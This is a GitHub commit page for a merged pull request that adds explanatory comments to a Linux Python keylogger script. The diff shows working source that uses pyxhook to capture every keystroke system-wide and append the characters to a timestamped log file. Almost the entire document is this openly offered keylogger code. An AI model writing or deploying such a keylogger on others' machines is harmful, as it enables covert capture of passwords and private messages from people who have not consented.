Skip to content

Commit

Permalink
Merge pull request #107 from igosad/master
Browse files Browse the repository at this point in the history
comments added to linux version
  • Loading branch information
GiacomoLaw authored Mar 17, 2021
2 parents abf407e + 24e20d9 commit 4ea7331
Showing 1 changed file with 19 additions and 25 deletions.
44 changes: 19 additions & 25 deletions linux/keylogger.py
Original file line number Diff line number Diff line change
@@ -1,46 +1,40 @@
#!/usr/bin/env python
# import needed modules
import os
from datetime import datetime
import pyxhook

# main function
def main():
log_file=f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'
# specify the name of the file (can be changed )
log_file = f'{os.getcwd()}/{datetime.now().strftime("%d-%m-%Y|%H:%M")}.log'

# the logging function with {event parm}
def OnKeyPress(event):
with open(log_file, 'a') as f:
if event.Key == 'space':
f.write(' ')
elif event.Key == 'P_Enter' :
f.write('\n')
elif event.Key == 'Return' :

with open(log_file, "a") as f: # open a file as f with Append (a) mode
if event.Key == 'P_Enter' :
f.write('\n')
elif event.Key == 'comma' :
f.write(',')
elif event.Key == 'semicolon' :
f.write(';')
elif event.Key == 'colon' :
f.write(':')
elif event.Key == 'exclam' :
f.write('!')
elif event.Key == 'period' :
f.write('.')
else:
f.write(f'{event.Key}')
f.write(f"{chr(event.Ascii)}") # write to the file / convert ascii to readable characters

# create a hook manager object
new_hook = pyxhook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()

new_hook.HookKeyboard() # set the hook

try:
new_hook.start()
new_hook.start() # start the hook
except KeyboardInterrupt:
# User cancelled from command line.
pass
except Exception as ex:
# Write exceptions to the log file, for analysis later.
msg = f'Error while catching events:\n {ex}'
msg = f"Error while catching events:\n {ex}"
pyxhook.print_err(msg)
with open(log_file, 'a') as f:
f.write(f'\n{msg}')
with open(log_file, "a") as f:
f.write(f"\n{msg}")


if __name__ == '__main__':
if __name__ == "__main__":
main()

0 comments on commit 4ea7331

Please sign in to comment.